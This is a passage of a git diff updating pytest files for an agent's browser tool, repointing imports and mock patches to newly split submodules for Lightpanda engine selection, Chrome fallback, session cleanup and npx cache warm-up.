MagicMock(return_value={"browser": {"engine": "lightpanda"}}) with patch("hermes_cli.config.read_raw_config", mock_read): assert _get_browser_engine() == "lightpanda" @@ -67,32 +73,32 @@ class TestShouldInjectEngine: """Test whether --engine flag is injected based on mode.""" def test_auto_never_injects(self): - from tools.browser_tool import _should_inject_engine + from tools.browser_tool_cloud import _should_inject_engine assert _should_inject_engine("auto") is False def test_lightpanda_injects_in_local_mode(self): - from tools.browser_tool import _should_inject_engine + from tools.browser_tool_cloud import _should_inject_engine with patch("tools.browser_tool._is_camofox_mode", return_value=False), \ - patch("tools.browser_tool._get_cdp_override", return_value=""), \ - patch("tools.browser_tool._get_cloud_provider", return_value=None): + patch("tools.browser_tool_cdp._get_cdp_override", return_value=""), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None): assert _should_inject_engine("lightpanda") is True def test_chrome_injects_in_local_mode(self): - from tools.browser_tool import _should_inject_engine + from tools.browser_tool_cloud import _should_inject_engine with patch("tools.browser_tool._is_camofox_mode", return_value=False), \ - patch("tools.browser_tool._get_cdp_override", return_value=""), \ - patch("tools.browser_tool._get_cloud_provider", return_value=None): + patch("tools.browser_tool_cdp._get_cdp_override", return_value=""), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None): assert _should_inject_engine("chrome") is True def test_no_inject_in_camofox_mode(self): - from tools.browser_tool import _should_inject_engine + from tools.browser_tool_cloud import _should_inject_engine with patch("tools.browser_tool._is_camofox_mode", return_value=True): assert _should_inject_engine("lightpanda") is False def test_no_inject_with_cdp_override(self): - from tools.browser_tool import _should_inject_engine + from tools.browser_tool_cloud import _should_inject_engine with patch("tools.browser_tool._is_camofox_mode", return_value=False), \ - patch("tools.browser_tool._get_cdp_override_raw", return_value="ws://localhost:9222"): + patch("tools.browser_tool_cdp._get_cdp_override_raw", return_value="ws://localhost:9222"): assert _should_inject_engine("lightpanda") is False @@ -104,26 +110,26 @@ class TestNeedsLightpandaFallback: """Test fallback detection for Lightpanda results.""" def test_non_lightpanda_never_falls_back(self): - from tools.browser_tool import _needs_lightpanda_fallback + from tools.browser_tool_lightpanda_fallback import _needs_lightpanda_fallback result = {"success": False, "error": "timeout"} assert _needs_lightpanda_fallback("chrome", "open", result) is False assert _needs_lightpanda_fallback("auto", "open", result) is False def test_failed_command_triggers_fallback(self): - from tools.browser_tool import _needs_lightpanda_fallback + from tools.browser_tool_lightpanda_fallback import _needs_lightpanda_fallback result = {"success": False, "error": "page.goto: Timeout"} assert _needs_lightpanda_fallback("lightpanda", "open", result) is True def test_empty_snapshot_triggers_fallback(self): - from tools.browser_tool import _needs_lightpanda_fallback + from tools.browser_tool_lightpanda_fallback import _needs_lightpanda_fallback result = {"success": True, "data": {"snapshot": ""}} assert _needs_lightpanda_fallback("lightpanda", "snapshot", result) is True def test_unknown_command_does_not_trigger_fallback(self): """Commands not in the whitelist should not trigger fallback.""" - from tools.browser_tool import _needs_lightpanda_fallback + from tools.browser_tool_lightpanda_fallback import _needs_lightpanda_fallback result = {"success": False, "error": "nope"} assert _needs_lightpanda_fallback("lightpanda", "some_future_cmd", result) is False @@ -152,28 +158,26 @@ class TestLightpandaRequirements: """Lightpanda should expose browser tools without local Chromium.""" def test_lightpanda_local_mode_does_not_require_chromium(self): - import tools.browser_tool as bt with patch("tools.browser_tool._is_camofox_mode", return_value=False), \ - patch("tools.browser_tool._get_cdp_override", return_value=""), \ - patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser"), \ - patch("tools.browser_tool._requires_real_termux_browser_install", return_value=False), \ - patch("tools.browser_tool._get_cloud_provider", return_value=None), \ - patch("tools.browser_tool._get_browser_engine", return_value="lightpanda"), \ - patch("tools.browser_tool._chromium_installed", return_value=False): - assert bt.check_browser_requirements() is True + patch("tools.browser_tool_cdp._get_cdp_override", return_value=""), \ + patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch("tools.browser_tool_install._requires_real_termux_browser_install", return_value=False), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None), \ + patch("tools.browser_tool_cloud._get_browser_engine", return_value="lightpanda"), \ + patch("tools.browser_tool_install._chromium_installed", return_value=False): + assert bt_install.check_browser_requirements() is True def test_chrome_local_mode_still_requires_chromium(self): - import tools.browser_tool as bt with patch("tools.browser_tool._is_camofox_mode", return_value=False), \ - patch("tools.browser_tool._get_cdp_override", return_value=""), \ - patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser"), \ - patch("tools.browser_tool._requires_real_termux_browser_install", return_value=False), \ - patch("tools.browser_tool._get_cloud_provider", return_value=None), \ - patch("tools.browser_tool._get_browser_engine", return_value="auto"), \ - patch("tools.browser_tool._chromium_installed", return_value=False): - assert bt.check_browser_requirements() is False + patch("tools.browser_tool_cdp._get_cdp_override", return_value=""), \ + patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch("tools.browser_tool_install._requires_real_termux_browser_install", return_value=False), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None), \ + patch("tools.browser_tool_cloud._get_browser_engine", return_value="auto"), \ + patch("tools.browser_tool_install._chromium_installed", return_value=False): + assert bt_install.check_browser_requirements() is False # --------------------------------------------------------------------------- @@ -189,7 +193,7 @@ class TestCleanupResetsEngineCache: bt._cached_browser_engine = "lightpanda" bt._browser_engine_resolved = True # cleanup should reset them - bt.cleanup_all_browsers() + bt_lifecycle.cleanup_all_browsers() assert bt._cached_browser_engine is None assert bt._browser_engine_resolved is False @@ -202,13 +206,12 @@ class TestChromeFallback: """Chrome fallback must hand off from Lightpanda without leaking engine policy.""" def test_uses_non_recursive_lightpanda_get_url(self): - import tools.browser_tool as bt - with patch("tools.browser_tool._run_browser_command", return_value={ + with patch("tools.browser_tool_session._run_browser_command", return_value={ "success": True, "data": {"url": "https://example.com/"} }) as run_command, \ - patch("tools.browser_tool._find_agent_browser", side_effect=FileNotFoundError("stop")): - result = bt._run_chrome_fallback_command( + patch("tools.browser_tool_install._find_agent_browser", side_effect=FileNotFoundError("stop")): + result = bt_lightpanda_fallback._run_chrome_fallback_command( "task1", "screenshot", [], timeout=30 ) @@ -218,7 +221,6 @@ class TestChromeFallback: assert result == {"success": False, "error": "stop"} def test_chrome_fallback_injects_required_sandbox_args(self, tmp_path): - import tools.browser_tool as bt captured_envs = [] mock_proc = MagicMock() @@ -234,15 +236,15 @@ class TestChromeFallback: # sibling pytest processes (atexit _emergency_cleanup_all_sessions), # which rmtree'd the fresh pidless dir mid-command — the CI flake # this test kept hitting before the reaper grace fix. - with patch("tools.browser_tool._run_browser_command", return_value={ + with patch("tools.browser_tool_session._run_browser_command", return_value={ "success": True, "data": {"url": "https://example.com/"} }), \ patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(tmp_path)), \ - patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser"), \ - patch("tools.browser_tool._chromium_installed", return_value=True), \ - patch("tools.browser_tool._needs_chromium_sandbox_bypass", return_value=True), \ + patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch("tools.browser_tool_install._chromium_installed", return_value=True), \ + patch("tools.browser_tool_session._needs_chromium_sandbox_bypass", return_value=True), \ patch("subprocess.Popen", side_effect=capture_popen): - result = bt._run_chrome_fallback_command( + result = bt_lightpanda_fallback._run_chrome_fallback_command( "task1", "screenshot", [], timeout=30 ) @@ -262,7 +264,7 @@ class TestLightpandaFallbackWarning: """Verify Chrome fallback results are annotated for users.""" def test_fallback_result_gets_user_visible_warning(self): - from tools.browser_tool import _annotate_lightpanda_fallback + from tools.browser_tool_lightpanda_fallback import _annotate_lightpanda_fallback result = {"success": True, "data": {"snapshot": "- heading \"Hello\" [ref=e1]"}} annotated = _annotate_lightpanda_fallback( @@ -285,17 +287,17 @@ class TestLightpandaFallbackWarning: import json import tools.browser_tool as bt - result = bt._annotate_lightpanda_fallback( + result = bt_lightpanda_fallback._annotate_lightpanda_fallback( {"success": True, "data": {"title": "Fallback OK", "url": "https://example.com/"}}, "synthetic Lightpanda failure; retried with Chrome.", ) - with patch("tools.browser_tool._is_local_backend", return_value=True), \ - patch("tools.browser_tool._get_cloud_provider", return_value=None), \ - patch("tools.browser_tool._get_session_info", return_value={ + with patch("tools.browser_tool_cloud._is_local_backend", return_value=True), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None), \ + patch("tools.browser_tool_session._get_session_info", return_value={ "session_name": "test", "_first_nav": False, "features": {"local": True, "proxies": True} }), \ - patch("tools.browser_tool._run_browser_command", side_effect=[ + patch("tools.browser_tool_session._run_browser_command", side_effect=[ result, {"success": True, "data": {"snapshot": "- heading \"Fallback OK\" [ref=e1]", "refs": {"e1": {}}}}, ]): @@ -325,13 +327,13 @@ class TestLightpandaFallbackWarning: class _Response: choices = [_Choice()] - with patch("tools.browser_tool._get_browser_engine", return_value="lightpanda"), \ - patch("tools.browser_tool._should_inject_engine", return_value=True), \ - patch("tools.browser_tool._chrome_fallback_screenshot", return_value={ + with patch("tools.browser_tool_cloud._get_browser_engine", return_value="lightpanda"), \ + patch("tools.browser_tool_cloud._should_inject_engine", return_value=True), \ + patch("tools.browser_tool_lightpanda_fallback._chrome_fallback_screenshot", return_value={ "success": True, "data": {"path": str(chrome_shot)} }), \ patch("hermes_constants.get_hermes_dir", return_value=tmp_path), \ - patch("tools.browser_tool.call_llm", return_value=_Response()): + patch("agent.auxiliary_client.call_llm", return_value=_Response()): response = json.loads(bt.browser_vision("what is this?", task_id="vision-structured")) assert response["success"] is True @@ -349,12 +351,12 @@ class TestLightpandaFallbackWarning: class TestEngineOverride: """Verify _engine_override bypasses the cached engine.""" - @patch("tools.browser_tool._get_session_info") - @patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser") - @patch("tools.browser_tool._is_local_mode", return_value=True) - @patch("tools.browser_tool._chromium_installed", return_value=True) - @patch("tools.browser_tool._get_cloud_provider", return_value=None) - @patch("tools.browser_tool._get_cdp_override", return_value="") + @patch("tools.browser_tool_session._get_session_info") + @patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser") + @patch("tools.browser_tool_cloud._is_local_mode", return_value=True) + @patch("tools.browser_tool_install._chromium_installed", return_value=True) + @patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None) + @patch("tools.browser_tool_cdp._get_cdp_override", return_value="") @patch("tools.browser_tool._is_camofox_mode", return_value=False) def test_override_prevents_engine_injection( self, _camofox, _cdp, _cloud, _chromium, _local, _find, _session @@ -389,19 +391,19 @@ class TestEngineOverride: __exit__=MagicMock(return_value=False), ))), \ patch("tools.interrupt.is_interrupted", return_value=False), \ - patch("tools.browser_tool._write_owner_pid"): - bt._run_browser_command("task1", "snapshot", [], _engine_override="auto") + patch("tools.browser_tool_lifecycle._write_owner_pid"): + bt_session._run_browser_command("task1", "snapshot", [], _engine_override="auto") # Should NOT contain "--engine" since override is "auto" assert len(captured_cmds) == 1 assert "--engine" not in captured_cmds[0] - @patch("tools.browser_tool._get_session_info") - @patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser") - @patch("tools.browser_tool._is_local_mode", return_value=True) - @patch("tools.browser_tool._chromium_installed", return_value=True) - @patch("tools.browser_tool._get_cloud_provider", return_value=None) - @patch("tools.browser_tool._get_cdp_override", return_value="") + @patch("tools.browser_tool_session._get_session_info") + @patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser") + @patch("tools.browser_tool_cloud._is_local_mode", return_value=True) + @patch("tools.browser_tool_install._chromium_installed", return_value=True) + @patch("tools.browser_tool_cloud._get_cloud_provider", return_value=None) + @patch("tools.browser_tool_cdp._get_cdp_override", return_value="") @patch("tools.browser_tool._is_camofox_mode", return_value=False) def test_no_override_uses_cached_engine( self, _camofox, _cdp, _cloud, _chromium, _local, _find, _session @@ -437,18 +439,18 @@ class TestEngineOverride: __exit__=MagicMock(return_value=False), ))), \ patch("tools.interrupt.is_interrupted", return_value=False), \ - patch("tools.browser_tool._needs_chromium_sandbox_bypass", return_value=True), \ - patch("tools.browser_tool._write_owner_pid"), \ + patch("tools.browser_tool_session._needs_chromium_sandbox_bypass", return_value=True), \ + patch("tools.browser_tool_lifecycle._write_owner_pid"), \ patch.dict(os.environ, {}, clear=True): # AppArmor/root detection would normally auto-inject Chromium args. - bt._run_browser_command("task1", "snapshot", []) + bt_session._run_browser_command("task1", "snapshot", []) # User-supplied current and legacy Chromium knobs must also be removed. with patch.dict(os.environ, { "AGENT_BROWSER_ARGS": "--no-sandbox", "AGENT_BROWSER_CHROME_FLAGS": "--disable-dev-shm-usage", }): - bt._run_browser_command("task1", "snapshot", []) + bt_session._run_browser_command("task1", "snapshot", []) assert len(captured_cmds) == 2 for command, environment in zip(captured_cmds, captured_envs): @@ -479,12 +481,12 @@ class TestEngineOverride: "success": True, "data": {"snapshot": '- heading "Hello" [ref=e1]', "refs": {"e1": {}}}, }) - with patch("tools.browser_tool._get_session_info", return_value={"session_name": "local-sidecar"}), \ - patch("tools.browser_tool._find_agent_browser", return_value="/usr/bin/agent-browser"), \ - patch("tools.browser_tool._is_local_mode", return_value=False), \ - patch("tools.browser_tool._chromium_installed", return_value=True), \ - patch("tools.browser_tool._get_cloud_provider", return_value=mock_provider), \ - patch("tools.browser_tool._get_cdp_override", return_value=""), \ + with patch("tools.browser_tool_session._get_session_info", return_value={"session_name": "local-sidecar"}), \ + patch("tools.browser_tool_install._find_agent_browser", return_value="/usr/bin/agent-browser"), \ + patch("tools.browser_tool_cloud._is_local_mode", return_value=False), \ + patch("tools.browser_tool_install._chromium_installed", return_value=True), \ + patch("tools.browser_tool_cloud._get_cloud_provider", return_value=mock_provider), \ + patch("tools.browser_tool_cdp._get_cdp_override", return_value=""), \ patch("tools.browser_tool._is_camofox_mode", return_value=False), \ patch("subprocess.Popen", side_effect=capture_popen), \ patch("os.open", return_value=99), \ @@ -496,8 +498,8 @@ class TestEngineOverride: __exit__=MagicMock(return_value=False), ))), \ patch("tools.interrupt.is_interrupted", return_value=False), \ - patch("tools.browser_tool._write_owner_pid"): - bt._run_browser_command("task::local", "snapshot", []) + patch("tools.browser_tool_lifecycle._write_owner_pid"): + bt_session._run_browser_command("task::local", "snapshot", []) assert len(captured_cmds) == 1 assert "--engine" in captured_cmds[0] @@ -521,8 +523,12 @@ class TestLightpandaEngineStatus: _use_real_profile=lambda: False, ) gates.update(overrides) + homes = { + "_using_lightpanda_engine": bt_lightpanda_fallback, "_get_cdp_override_raw": bt_cdp, + "_get_cloud_provider": bt_cloud, "_use_real_profile": bt_cloud, + } for name, fn in gates.items(): - monkeypatch.setattr(bt, name, fn) + monkeypatch.setattr(homes.get(name, bt), name, fn) monkeypatch.setattr( "tools.browser_use_cli.is_legacy_browser_use_cloud_config", lambda cfg: False ) @@ -530,35 +536,35 @@ class TestLightpandaEngineStatus: def test_not_lightpanda(self, monkeypatch): bt = self._gates(monkeypatch, _using_lightpanda_engine=lambda: False) - assert bt.lightpanda_engine_status() == (False, "") + assert bt_lightpanda_fallback.lightpanda_engine_status() == (False, "") def test_used_in_browser_use_mode(self, monkeypatch): bt = self._gates(monkeypatch) - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is True assert "lightpanda serve" in reason def test_used_with_builtin_tools(self, monkeypatch): bt = self._gates(monkeypatch, _is_browser_use_cli_mode=lambda: False) - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is True assert "--engine lightpanda" in reason def test_shadowed_by_cdp_override(self, monkeypatch): bt = self._gates(monkeypatch, _get_cdp_override_raw=lambda: "ws://x") - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is False and "CDP override" in reason def test_shadowed_by_camofox(self, monkeypatch): bt = self._gates(monkeypatch, _is_camofox_mode=lambda: True) - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is False and "Camofox" in reason def test_shadowed_by_cloud_provider(self, monkeypatch): provider = MagicMock() provider.display_name = "Browserbase" bt = self._gates(monkeypatch, _get_cloud_provider=lambda: provider) - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is False and "Browserbase" in reason def test_shadowed_by_legacy_browser_use_cloud(self, monkeypatch): @@ -566,12 +572,12 @@ class TestLightpandaEngineStatus: monkeypatch.setattr( "tools.browser_use_cli.is_legacy_browser_use_cloud_config", lambda cfg: True ) - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is False and "Browser Use cloud" in reason def test_shadowed_by_real_profile(self, monkeypatch): bt = self._gates(monkeypatch, _use_real_profile=lambda: True) - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is False and "use_real_profile" in reason def test_real_profile_wins_over_cloud_provider(self, monkeypatch): @@ -584,7 +590,7 @@ class TestLightpandaEngineStatus: _use_real_profile=lambda: True, _get_cloud_provider=lambda: provider, ) - used, reason = bt.lightpanda_engine_status() + used, reason = bt_lightpanda_fallback.lightpanda_engine_status() assert used is False and "use_real_profile" in reason @@ -614,16 +620,16 @@ class TestLightpandaSessionCreation: return launch return _FakeServer(), None - monkeypatch.setattr(bt, "_real_profile_cdp", lambda: (None, None)) + monkeypatch.setattr("tools.browser_tool_real_profile._real_profile_cdp", lambda: (None, None)) monkeypatch.setattr(bt, "_is_browser_use_cli_mode", lambda: bu_mode) - monkeypatch.setattr(bt, "_using_lightpanda_engine", lambda: True) - monkeypatch.setattr(bt, "_is_local_backend", lambda: local_backend) + monkeypatch.setattr("tools.browser_tool_lightpanda_fallback._using_lightpanda_engine", lambda: True) + monkeypatch.setattr(bt_cloud, "_is_local_backend", lambda: local_backend) monkeypatch.setattr("tools.browser_lightpanda.launch_lightpanda", fake_launch) return bt, calls def test_spawns_lightpanda_in_browser_use_mode(self, monkeypatch): bt, calls = self._common(monkeypatch) - info = bt._create_local_session("task-1") + info = bt_session._create_local_session("task-1") assert info["session_name"].startswith("lp_") assert info["cdp_url"] == "http://127.0.0.1:4321" assert info["features"] == {"local": True, "lightpanda": True} @@ -632,12 +638,12 @@ class TestLightpandaSessionCreation: def test_blocks_private_networks_for_containerised_terminal(self, monkeypatch): bt, calls = self._common(monkeypatch, local_backend=False) - bt._create_local_session("task-1") + bt_session._create_local_session("task-1") assert calls[0][1] is True def test_ignores_engine_outside_browser_use_mode(self, monkeypatch): bt, calls = self._common(monkeypatch, bu_mode=False) - info = bt._create_local_session("task-1") + info = bt_session._create_local_session("task-1") assert info["features"] == {"local": True} assert info["cdp_url"] is None assert calls == [] @@ -645,7 +651,7 @@ class TestLightpandaSessionCreation: def test_launch_failure_raises(self, monkeypatch): bt, _ = self._common(monkeypatch, launch=(None, "no lightpanda binary was found")) with pytest.raises(RuntimeError, match="no lightpanda binary"): - bt._create_local_session("task-1") + bt_session._create_local_session("task-1") class TestLightpandaSessionLifecycle: @@ -681,14 +687,14 @@ class TestLightpandaSessionLifecycle: def test_dead_process_is_detected(self, monkeypatch): info = self._seed() monkeypatch.setattr("tools.browser_lightpanda.get_server", lambda name: None) - assert self.bt._local_backend_process_dead(info) is True + assert bt_session._local_backend_process_dead(info) is True monkeypatch.setattr( "tools.browser_lightpanda.get_server", lambda name: _FakeServer(alive=False) ) - assert self.bt._local_backend_process_dead(info) is True + assert bt_session._local_backend_process_dead(info) is True monkeypatch.setattr("tools.browser_lightpanda.get_server", lambda name: _FakeServer()) - assert self.bt._local_backend_process_dead(info) is False - assert self.bt._local_backend_process_dead({"features": {"local": True}}) is False + assert bt_session._local_backend_process_dead(info) is False + assert bt_session._local_backend_process_dead({"features": {"local": True}}) is False def test_get_session_info_respawns_dead_lightpanda(self, monkeypatch): bt = self.bt @@ -705,20 +711,20 @@ class TestLightpandaSessionLifecycle: cleaned.append(key) bt._active_sessions.pop(key, None) - monkeypatch.setattr(bt, "_start_browser_cleanup_thread", lambda: None) + monkeypatch.setattr("tools.browser_tool_lifecycle._start_browser_cleanup_thread", lambda: None) monkeypatch.setattr( bt, "_browser_session_backend", lambda key: MagicMock(ensure_healthy=lambda: True), ) monkeypatch.setattr("tools.browser_lightpanda.get_server", lambda name: None) - monkeypatch.setattr(bt, "_cleanup_single_browser_session", fake_cleanup) - monkeypatch.setattr(bt, "_get_cdp_override", lambda: "") - monkeypatch.setattr(bt, "_get_cloud_provider", lambda: None) - monkeypatch.setattr(bt, "_create_local_session", lambda *a, **k: fresh) + monkeypatch.setattr(bt_lifecycle, "_cleanup_single_browser_session", fake_cleanup) + monkeypatch.setattr("tools.browser_tool_cdp._get_cdp_override", lambda: "") + monkeypatch.setattr(bt_cloud, "_get_cloud_provider", lambda: None) + monkeypatch.setattr("tools.browser_tool_session._create_local_session", lambda *a, **k: fresh) supervised = [] - monkeypatch.setattr(bt, "_ensure_cdp_supervisor", supervised.append) + monkeypatch.setattr("tools.browser_tool_cdp._ensure_cdp_supervisor", supervised.append) - info = bt._get_session_info("task-1") + info = bt_session._get_session_info("task-1") assert cleaned == ["task-1"] assert info["session_name"] == "lp_fresh" assert bt._active_sessions["task-1"]["session_name"] == "lp_fresh" @@ -733,9 +739,9 @@ class TestLightpandaSessionLifecycle: stopped = [] monkeypatch.setattr("tools.browser_lightpanda.stop_lightpanda", stopped.append) with patch("tools.browser_tool._maybe_stop_recording"), \ - patch("tools.browser_tool._run_browser_command") as run, \ + patch("tools.browser_tool_session._run_browser_command") as run, \ patch("tools.browser_tool.os.path.exists", return_value=False): - bt.cleanup_browser("task-1") + bt_lifecycle.cleanup_browser("task-1") run.assert_not_called() assert stopped == ["lp_dead"] assert "task-1" not in bt._active_sessions @@ -745,14 +751,14 @@ class TestLightpandaSessionLifecycle: bt = self.bt bt._cleanup_done = False with patch("tools.browser_lightpanda.stop_all_lightpanda") as stop_all, \ - patch("tools.browser_tool._terminate_real_profile_chrome"), \ - patch("tools.browser_tool.cleanup_all_browsers"), \ - patch("tools.browser_tool._reap_orphaned_browser_sessions"): - bt._emergency_cleanup_all_sessions() + patch("tools.browser_tool_real_profile._terminate_real_profile_chrome"), \ + patch("tools.browser_tool_lifecycle.cleanup_all_browsers"), \ + patch("tools.browser_tool_lifecycle._reap_orphaned_browser_sessions"): + bt_lifecycle._emergency_cleanup_all_sessions() stop_all.assert_called_once() def test_orphan_reaper_sweeps_lightpanda_records(self, tmp_path): with patch("tools.browser_lightpanda.reap_orphaned_lightpanda") as reap, \ patch("tools.browser_tool._socket_safe_tmpdir", return_value=str(tmp_path)): - self.bt._reap_orphaned_browser_sessions() + bt_lifecycle._reap_orphaned_browser_sessions() reap.assert_called_once() diff --git a/tests/tools/test_browser_lightpanda_serve.py b/tests/tools/test_browser_lightpanda_serve.py index db607ec77b..259d4e2ec1 100644 --- a/tests/tools/test_browser_lightpanda_serve.py +++ b/tests/tools/test_browser_lightpanda_serve.py @@ -67,19 +67,19 @@ class TestFindBinary: def test_prefers_path(self, tmp_path, monkeypatch): exe = _exe(tmp_path / "bin" / "lightpanda") monkeypatch.setenv("PATH", str(tmp_path / "bin")) - monkeypatch.setattr("tools.browser_tool._merge_browser_path", lambda p: p) + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda p: p) assert lp.find_lightpanda_binary() == str(exe) def test_falls_back_to_home_candidates(self, tmp_path, monkeypatch): monkeypatch.setenv("PATH", str(tmp_path / "empty")) - monkeypatch.setattr("tools.browser_tool._merge_browser_path", lambda p: p) + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda p: p) exe = _exe(tmp_path / ".lightpanda" / "lightpanda") monkeypatch.setattr(lp, "_home_candidates", lambda: [exe]) assert lp.find_lightpanda_binary() == str(exe) def test_none_when_absent(self, tmp_path, monkeypatch): monkeypatch.setenv("PATH", str(tmp_path / "empty")) - monkeypatch.setattr("tools.browser_tool._merge_browser_path", lambda p: p) + monkeypatch.setattr("tools.browser_tool_install._merge_browser_path", lambda p: p) assert lp.find_lightpanda_binary() is None def test_none_on_windows(self, monkeypatch): diff --git a/tests/tools/test_browser_npx_warmup.py b/tests/tools/test_browser_npx_warmup.py index b866c43073..13bf76605e 100644 --- a/tests/tools/test_browser_npx_warmup.py +++ b/tests/tools/test_browser_npx_warmup.py @@ -1,4 +1,4 @@ -"""Tests for tools.browser_tool.warm_agent_browser_npx_cache (#43564, security +"""Tests for tools.browser_tool_install.warm_agent_browser_npx_cache (#43564, security hardening follow-up on PR #44772 review). warm_agent_browser_npx_cache() is the fire-and-forget helper `hermes update` / @@ -18,11 +18,9 @@ from __future__ import annotations import subprocess from unittest.mock import MagicMock, patch -from tools.browser_tool import ( - AGENT_BROWSER_NPX_SPEC, - _legacy_kill_process_tree, - warm_agent_browser_npx_cache, -) +from tools.browser_tool import AGENT_BROWSER_NPX_SPEC +from tools.browser_tool_install import warm_agent_browser_npx_cache +from tools.browser_tool_lifecycle import _legacy_kill_process_tree def _mock_proc(returncode=0, communicate_side_effect=None, pid=4242): @@ -37,7 +35,7 @@ def _mock_proc(returncode=0, communicate_side_effect=None, pid=4242): def test_returns_false_without_spawning_when_npx_unresolvable(): - with patch("tools.browser_tool._resolve_npx_bin", return_value=None), patch( + with patch("tools.browser_tool_install._resolve_npx_bin", return_value=None), patch( "subprocess.Popen" ) as mock_popen: assert warm_agent_browser_npx_cache() is False @@ -45,7 +43,7 @@ def test_returns_false_without_spawning_when_npx_unresolvable(): def test_invokes_npx_with_ignore_scripts_prefer_offline_and_pinned_spec(): - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), patch( + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), patch( "subprocess.Popen", return_value=_mock_proc() ) as mock_popen: assert warm_agent_browser_npx_cache() is True @@ -67,7 +65,7 @@ def test_stdin_is_explicitly_devnull_not_inherited(): merely "present in kwargs somewhere" (the checker is a literal-argument textual scan, so stdin= folded into a shared kwargs dict wouldn't satisfy it either — it must appear as a literal keyword on the call).""" - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), \ patch("subprocess.Popen", return_value=_mock_proc()) as mock_popen: warm_agent_browser_npx_cache() @@ -79,7 +77,7 @@ def test_captures_stdout_and_stderr_instead_of_inheriting_parent_fds(): """The npx registry fetch runs on every `hermes update` — its stdout/ stderr must not bleed into the caller's own output (and, on POSIX, an inherited fd is one more handle a runaway grandchild could hold open).""" - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), \ patch("subprocess.Popen", return_value=_mock_proc()) as mock_popen: warm_agent_browser_npx_cache() @@ -93,9 +91,9 @@ def test_uses_credential_scrubbed_environment(): agent-browser subprocess spawn (_build_browser_env), not the ambient os.environ with every provider/gateway credential Hermes holds.""" scrubbed_env = {"PATH": "/scrubbed/bin", "SCRUBBED": "1"} - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), \ patch("tools.browser_tool._build_browser_env", return_value=dict(scrubbed_env)), \ - patch("tools.browser_tool._merge_browser_path", side_effect=lambda p: p), \ + patch("tools.browser_tool_install._merge_browser_path", side_effect=lambda p: p), \ patch("subprocess.Popen", return_value=_mock_proc()) as mock_popen: warm_agent_browser_npx_cache() @@ -109,10 +107,10 @@ def test_merges_extended_path_so_managed_only_npx_can_find_sibling_node(): ambient PATH), the child's own PATH must include that same directory — npx's #!/usr/bin/env node shebang resolves `node` via the child's PATH at exec time, not the resolving process's PATH.""" - with patch("tools.browser_tool._resolve_npx_bin", return_value="/opt/hermes/node/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/opt/hermes/node/bin/npx"), \ patch("tools.browser_tool._build_browser_env", return_value={"PATH": "/usr/bin"}), \ patch( - "tools.browser_tool._merge_browser_path", + "tools.browser_tool_install._merge_browser_path", return_value="/opt/hermes/node/bin:/usr/bin", ) as mock_merge, \ patch("subprocess.Popen", return_value=_mock_proc()) as mock_popen: @@ -125,7 +123,7 @@ def test_merges_extended_path_so_managed_only_npx_can_find_sibling_node(): def test_runs_in_its_own_process_group_on_posix(monkeypatch): monkeypatch.setattr("os.name", "posix") - with patch("tools.browser_tool._resolve_npx_bin", return_value="/usr/bin/npx"), \ + with patch("tools.browser_tool_install._resolve_npx_bin", return_value="/usr/bin/npx"), \ patch("subprocess.Popen", return_value=_mock_proc()) as mock_popen: warm_agent_browser_npx_cache() @@ -138,9 +136,9 @@ def test_uses_new_process_group_creationflag_on_windows_instead_of_start_new_ses The Windows equivalent for _kill_process_tree's taskkill /T to have a coherent tree to kill is CREATE_NEW_PROCESS_GROUP via creationflags.""" with patch("os.name", "nt"), \ - patch("tools.browser_tool._resolve_npx_bin", return_value="C:\\npx.cmd"), \ + patch("tools.browser_tool_install._resolve_npx_bin", return_value="C:\\npx.cmd"), \ patch("tools.browser_tool._build_browser_env", return_value={"PATH": "C:\\Windows"}), \ - patch("tools.browser_tool._merge_browser_path", side_effect=lambda p: p), \ + patch("tools.browser_tool_install._merge_browser_path", side_effect=lambda p: p), \ patch("subprocess.Popen", return_value=_mock_proc()) as mock_popen: warm_agent_browser_npx_cache() @@ -160,9 +158,9 @@ def test_timeout_kills_the_whole_process_tree_not_just_the_pid(): subprocess.TimeoutExpired(cmd=["npx"], timeout=60.0), ("", ""), ] ) - with 